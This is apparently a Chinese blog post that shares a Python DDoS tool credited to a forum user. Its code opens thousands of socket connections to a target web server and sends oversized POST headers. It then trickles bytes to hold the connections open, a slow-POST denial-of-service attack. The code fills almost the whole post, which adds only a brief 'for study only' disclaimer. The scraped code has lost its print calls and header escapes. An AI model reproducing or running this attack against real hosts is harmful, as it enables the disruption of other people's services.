今天分享由吾爱破解@cunzher大佬,使用Python语言写的一款本地DDos攻击器代码,分享给大家,代码原理利用socket模块不断向目标发送连接请求,达到攻击的目的。
import
socket
import
time
import
threading
#Pressure Test,ddos tool
#---------------------------
MAX_CONN
=
20000
PORT
=
80
HOST
=
""
#在双引号里输入对方IP或域名.
PAGE
=
"/index.php"
#---------------------------
buf
=
(
"POST %s HTTP/1.1rn"
"Host: %srn"
"Content-Length: 10000000rn"
"Cookie: dklkt_dos_testrn"
"rn"
%
(PAGE,HOST))
socks
=
[]
def
conn_thread():
global
socks
for
i
in
range
(
0
,MAX_CONN):
s
=
socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try
:
s.connect((HOST,PORT))
s.send(buf.encode())
(
"Send buf OK!,conn=%dn"
%
i)
socks.append(s)
except
Exception as ex:
(
"Could not connect to server or send error:%s"
%
ex)
time.sleep(
0.1
)
#end def
def
send_thread():
global
socks
while
True
:
for
s
in
socks:
try
:
s.send(
"f"
.encode())
#print "send OK!"
except
Exception as ex:
(
"Send Exception:%sn"
%
ex)
socks.remove(s)
s.close()
time.sleep(
0.1
)
#end def
conn_th
=
threading.Thread(target
=
conn_thread,args
=
())
send_th
=
threading.Thread(target
=
send_thread,args
=
())
conn_th.start()
send_th.start()
启动需要安装socket、time、threading依赖,代码仅供理论学习参考,实际用途不大,测试注意修改源码!
请登录之后再进行评论